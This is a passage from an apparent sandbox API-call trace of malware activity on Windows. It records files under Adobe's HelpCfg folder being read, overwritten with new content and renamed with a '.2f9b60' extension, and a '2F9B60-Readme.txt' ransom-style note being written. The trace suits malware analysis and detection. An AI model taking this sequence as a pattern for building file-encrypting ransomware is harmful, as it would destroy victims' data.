(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18bd0) returned 1 [0162.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42892670) returned 1 [0162.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4288ea60) returned 1 [0162.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cb40) returned 1 [0162.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2100) returned 1 [0162.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7aaca0 [0162.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2100 [0162.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cb40 [0162.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18bd0 [0162.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18bd0) returned 1 [0162.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7a9de0 [0162.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18bd0 [0162.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c00 [0162.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c00) returned 1 [0162.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cb40) returned 1 [0162.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2100) returned 1 [0162.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c15170 [0162.463] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.463] WriteFile (in: hFile=0x718, lpBuffer=0x42c15170*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fbff9b0, lpOverlapped=0x0 | out: lpBuffer=0x42c15170*, lpNumberOfBytesWritten=0x2fbff9b0*=0x118, lpOverlapped=0x0) returned 1 [0166.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0166.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0166.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda6a0 [0166.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda6a0) returned 1 [0166.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda6a0 [0166.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda670 [0166.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda5b0 [0166.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda5b0) returned 1 [0166.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0166.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0166.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd864f0 [0166.372] sprintf (in: _Dest=0x1cd864f0, _Format="%c%c" | out: _Dest="5e") returned 2 [0166.372] sprintf (in: _Dest=0x1cd864f2, _Format="%c%c" | out: _Dest="83") returned 2 [0166.372] sprintf (in: _Dest=0x1cd864f4, _Format="%c%c" | out: _Dest="38") returned 2 [0166.372] sprintf (in: _Dest=0x1cd864f6, _Format="%c%c" | out: _Dest="29") returned 2 [0166.372] sprintf (in: _Dest=0x1cd864f8, _Format="%c%c" | out: _Dest="b8") returned 2 [0166.372] sprintf (in: _Dest=0x1cd864fa, _Format="%c%c" | out: _Dest="97") returned 2 [0166.373] sprintf (in: _Dest=0x1cd864fc, _Format="%c%c" | out: _Dest="1f") returned 2 [0166.373] sprintf (in: _Dest=0x1cd864fe, _Format="%c%c" | out: _Dest="4e") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86500, _Format="%c%c" | out: _Dest="87") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86502, _Format="%c%c" | out: _Dest="db") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86504, _Format="%c%c" | out: _Dest="22") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86506, _Format="%c%c" | out: _Dest="81") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86508, _Format="%c%c" | out: _Dest="04") returned 2 [0166.373] sprintf (in: _Dest=0x1cd8650a, _Format="%c%c" | out: _Dest="09") returned 2 [0166.373] sprintf (in: _Dest=0x1cd8650c, _Format="%c%c" | out: _Dest="50") returned 2 [0166.373] sprintf (in: _Dest=0x1cd8650e, _Format="%c%c" | out: _Dest="6a") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86510, _Format="%c%c" | out: _Dest="33") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86512, _Format="%c%c" | out: _Dest="49") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86514, _Format="%c%c" | out: _Dest="4b") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86516, _Format="%c%c" | out: _Dest="8a") returned 2 [0166.373] sprintf (in: _Dest=0x1cd86518, _Format="%c%c" | out: _Dest="c1") returned 2 [0166.373] sprintf (in: _Dest=0x1cd8651a, _Format="%c%c" | out: _Dest="c6") returned 2 [0166.374] sprintf (in: _Dest=0x1cd8651c, _Format="%c%c" | out: _Dest="74") returned 2 [0166.374] sprintf (in: _Dest=0x1cd8651e, _Format="%c%c" | out: _Dest="17") returned 2 [0166.374] sprintf (in: _Dest=0x1cd86520, _Format="%c%c" | out: _Dest="29") returned 2 [0166.374] sprintf (in: _Dest=0x1cd86522, _Format="%c%c" | out: _Dest="e3") returned 2 [0166.374] sprintf (in: _Dest=0x1cd86524, _Format="%c%c" | out: _Dest="8e") returned 2 [0166.374] sprintf (in: _Dest=0x1cd86526, _Format="%c%c" | out: _Dest="ec") returned 2 [0166.374] sprintf (in: _Dest=0x1cd86528, _Format="%c%c" | out: _Dest="26") returned 2 [0166.374] sprintf (in: _Dest=0x1cd8652a, _Format="%c%c" | out: _Dest="ec") returned 2 [0166.374] sprintf (in: _Dest=0x1cd8652c, _Format="%c%c" | out: _Dest="15") returned 2 [0166.375] sprintf (in: _Dest=0x1cd8652e, _Format="%c%c" | out: _Dest="49") returned 2 [0166.375] sprintf (in: _Dest=0x1cd86530, _Format="%c%c" | out: _Dest="83") returned 2 [0166.375] sprintf (in: _Dest=0x1cd86532, _Format="%c%c" | out: _Dest="e2") returned 2 [0166.375] sprintf (in: _Dest=0x1cd86534, _Format="%c%c" | out: _Dest="95") returned 2 [0166.375] sprintf (in: _Dest=0x1cd86536, _Format="%c%c" | out: _Dest="b9") returned 2 [0166.375] sprintf (in: _Dest=0x1cd86538, _Format="%c%c" | out: _Dest="e4") returned 2 [0166.375] sprintf (in: _Dest=0x1cd8653a, _Format="%c%c" | out: _Dest="67") returned 2 [0166.375] RtlInitAnsiString (in: DestinationString=0x2fbffa28, SourceString="5e833829b8971f4e87db22810409506a33494b8ac1c6741729e38eec26ec154983e295b9e467" | out: DestinationString="5e833829b8971f4e87db22810409506a33494b8ac1c6741729e38eec26ec154983e295b9e467") [0166.375] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fbff9f8, SourceString="5e833829b8971f4e87db22810409506a33494b8ac1c6741729e38eec26ec154983e295b9e467", AllocateDestinationString=1 | out: DestinationString="5e833829b8971f4e87db22810409506a33494b8ac1c6741729e38eec26ec154983e295b9e467") returned 0x0 [0166.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8625c0 [0166.376] RtlFreeAnsiString (AnsiString="5") [0166.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd864f0) returned 1 [0166.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda6a0) returned 1 [0166.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda670) returned 1 [0166.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c15170) returned 1 [0166.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a9de0) returned 1 [0166.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18bd0) returned 1 [0166.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aaca0) returned 1 [0166.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ba0) returned 1 [0166.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda400) returned 1 [0166.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda4c0) returned 1 [0166.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda4f0) returned 1 [0166.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862d50 [0166.378] wcscat (in: _Dest=0x1b862d50, _Source="5e833829b8971f4e87d" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\5e833829b8971f4e87d") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\5e833829b8971f4e87d" [0166.378] wcscat (in: _Dest=0x1b862d50, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\5e833829b8971f4e87d.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\5e833829b8971f4e87d.2f9b60" [0166.379] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\5e833829b8971f4e87d.2f9b60", NtPathName=0x2fbff9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\5e833829b8971f4e87d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118610 [0200.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0200.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1a220) returned 1 [0200.416] NtQueryInformationFile (in: FileHandle=0x718, IoStatusBlock=0x2fbffa38, FileInformation=0x2fbffa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fbffa38, FileInformation=0x2fbffa48) returned 0x0 [0200.416] NtSetInformationFile (FileHandle=0x718, IoStatusBlock=0x2fbffa38, FileInformation=0x2fbffa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0203.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862d50) returned 1 [0203.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8625c0) returned 1 [0203.926] FlushFileBuffers (hFile=0x718) returned 1 [0204.254] CloseHandle (hObject=0x718) returned 1 [0208.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad980 [0208.035] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\" [0208.035] wcscat (in: _Dest=0x1b7ad980, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\2F9B60-Readme.txt" [0208.035] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\it_it\\2f9b60-readme.txt")) returned 0xffffffff [0208.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\it_it\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f68 [0209.982] WriteFile (in: hFile=0x1f68, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2fbff8f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2fbff8f0*=0xba9, lpOverlapped=0x0) returned 1 [0216.587] CloseHandle (hObject=0x1f68) returned 1 [0220.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad980) returned 1 [0220.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205059b0) returned 1 Thread: id = 2521 os_tid = 0x1fd8 [0154.908] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp\\reader_10.0.helpcfg")) returned 0x20 [0154.908] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x83c [0154.910] GetFileSizeEx (in: hFile=0x83c, lpFileSize=0x2fe6fbc0 | out: lpFileSize=0x2fe6fbc0*=349) returned 1 [0154.910] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.910] ReadFile (in: hFile=0x83c, lpBuffer=0x2fe6fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fe6fb88, lpOverlapped=0x0 | out: lpBuffer=0x2fe6fb40*, lpNumberOfBytesRead=0x2fe6fb88*=0x4, lpOverlapped=0x0) returned 1 [0154.910] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda490 [0154.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda520 [0154.911] NtQuerySystemTime (in: CurrentTime=0x2fe6fa80 | out: CurrentTime=0x2fe6fa80*=132462177600478000) returned 0x0 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x51b321f4 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x1901bcd8 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x63b39559 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x6d5a7469 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x59dcdfe1 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x4364a471 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x598cd943 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x7ff93b83 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x7c81d7b8 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x341dddcf [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x70cd4ffa [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x7ea4fa81 [0154.911] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x37256687 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x19ede85a [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x41679c90 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x511a1625 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x79440025 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x6194d6b9 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x7bd460a7 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x2e8f4a9e [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x5c20d281 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x27d74256 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x4dfee3a0 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x75ccbe7b [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x273d625d [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x3c152ae1 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x7ba6aa55 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x20568927 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x73d14016 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x2014ac41 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x5b497e27 [0154.912] RtlRandomEx (in: Seed=0x2fe6fa70 | out: Seed=0x2fe6fa70) returned 0x65ad27e2 [0154.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda550 [0154.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cbc0 [0154.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda580 [0154.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cbc0) returned 1 [0154.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda520) returned 1 [0154.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2150 [0154.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cbc0 [0154.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42896280 [0154.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42899e90 [0154.922] ReadFile (in: hFile=0x83c, lpBuffer=0x42896280, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2fe6fa70, lpOverlapped=0x0 | out: lpBuffer=0x42896280*, lpNumberOfBytesRead=0x2fe6fa70*=0x15d, lpOverlapped=0x0) returned 1 [0154.922] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.922] WriteFile (in: hFile=0x83c, lpBuffer=0x42899e90*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2fe6fa74, lpOverlapped=0x0 | out: lpBuffer=0x42899e90*, lpNumberOfBytesWritten=0x2fe6fa74*=0x15d, lpOverlapped=0x0) returned 1 [0162.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b40 [0162.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b70 [0162.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b70) returned 1 [0162.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42899e90) returned 1 [0162.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42896280) returned 1 [0162.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cbc0) returned 1 [0162.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2150) returned 1 [0162.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7aa860 [0162.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2150 [0162.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cbc0 [0162.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b70 [0162.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b70) returned 1 [0162.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7aa920 [0162.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b70 [0162.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ba0 [0162.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ba0) returned 1 [0162.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cbc0) returned 1 [0162.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2150) returned 1 [0162.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c15050 [0162.457] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.457] WriteFile (in: hFile=0x83c, lpBuffer=0x42c15050*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fe6fb90, lpOverlapped=0x0 | out: lpBuffer=0x42c15050*, lpNumberOfBytesWritten=0x2fe6fb90*=0x118, lpOverlapped=0x0) returned 1 [0166.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0166.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0166.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda4f0 [0166.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda4f0) returned 1 [0166.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda4f0 [0166.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda4c0 [0166.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda400 [0166.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda400) returned 1 [0166.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0166.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0166.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd864f0 [0166.385] sprintf (in: _Dest=0x1cd864f0, _Format="%c%c" | out: _Dest="f0") returned 2 [0166.385] sprintf (in: _Dest=0x1cd864f2, _Format="%c%c" | out: _Dest="52") returned 2 [0166.385] sprintf (in: _Dest=0x1cd864f4, _Format="%c%c" | out: _Dest="2d") returned 2 [0166.385] sprintf (in: _Dest=0x1cd864f6, _Format="%c%c" | out: _Dest="3d") returned 2 [0166.385] sprintf (in: _Dest=0x1cd864f8, _Format="%c%c" | out: _Dest="a5") returned 2 [0166.385] sprintf (in: _Dest=0x1cd864fa, _Format="%c%c" | out: _Dest="71") returned 2 [0166.385] sprintf (in: _Dest=0x1cd864fc, _Format="%c%c" | out: _Dest="91") returned 2 [0166.385] sprintf (in: _Dest=0x1cd864fe, _Format="%c%c" | out: _Dest="06") returned 2 [0166.385] sprintf (in: _Dest=0x1cd86500, _Format="%c%c" | out: _Dest="ff") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86502, _Format="%c%c" | out: _Dest="96") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86504, _Format="%c%c" | out: _Dest="d5") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86506, _Format="%c%c" | out: _Dest="01") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86508, _Format="%c%c" | out: _Dest="fb") returned 2 [0166.386] sprintf (in: _Dest=0x1cd8650a, _Format="%c%c" | out: _Dest="3f") returned 2 [0166.386] sprintf (in: _Dest=0x1cd8650c, _Format="%c%c" | out: _Dest="7b") returned 2 [0166.386] sprintf (in: _Dest=0x1cd8650e, _Format="%c%c" | out: _Dest="f6") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86510, _Format="%c%c" | out: _Dest="7a") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86512, _Format="%c%c" | out: _Dest="fc") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86514, _Format="%c%c" | out: _Dest="16") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86516, _Format="%c%c" | out: _Dest="3c") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86518, _Format="%c%c" | out: _Dest="f2") returned 2 [0166.386] sprintf (in: _Dest=0x1cd8651a, _Format="%c%c" | out: _Dest="33") returned 2 [0166.386] sprintf (in: _Dest=0x1cd8651c, _Format="%c%c" | out: _Dest="10") returned 2 [0166.386] sprintf (in: _Dest=0x1cd8651e, _Format="%c%c" | out: _Dest="cf") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86520, _Format="%c%c" | out: _Dest="ec") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86522, _Format="%c%c" | out: _Dest="39") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86524, _Format="%c%c" | out: _Dest="49") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86526, _Format="%c%c" | out: _Dest="c0") returned 2 [0166.386] sprintf (in: _Dest=0x1cd86528, _Format="%c%c" | out: _Dest="4f") returned 2 [0166.387] sprintf (in: _Dest=0x1cd8652a, _Format="%c%c" | out: _Dest="b5") returned 2 [0166.387] sprintf (in: _Dest=0x1cd8652c, _Format="%c%c" | out: _Dest="6a") returned 2 [0166.387] sprintf (in: _Dest=0x1cd8652e, _Format="%c%c" | out: _Dest="26") returned 2 [0166.387] sprintf (in: _Dest=0x1cd86530, _Format="%c%c" | out: _Dest="d8") returned 2 [0166.387] sprintf (in: _Dest=0x1cd86532, _Format="%c%c" | out: _Dest="79") returned 2 [0166.387] sprintf (in: _Dest=0x1cd86534, _Format="%c%c" | out: _Dest="cc") returned 2 [0166.387] sprintf (in: _Dest=0x1cd86536, _Format="%c%c" | out: _Dest="7f") returned 2 [0166.387] sprintf (in: _Dest=0x1cd86538, _Format="%c%c" | out: _Dest="ab") returned 2 [0166.387] sprintf (in: _Dest=0x1cd8653a, _Format="%c%c" | out: _Dest="ae") returned 2 [0166.387] 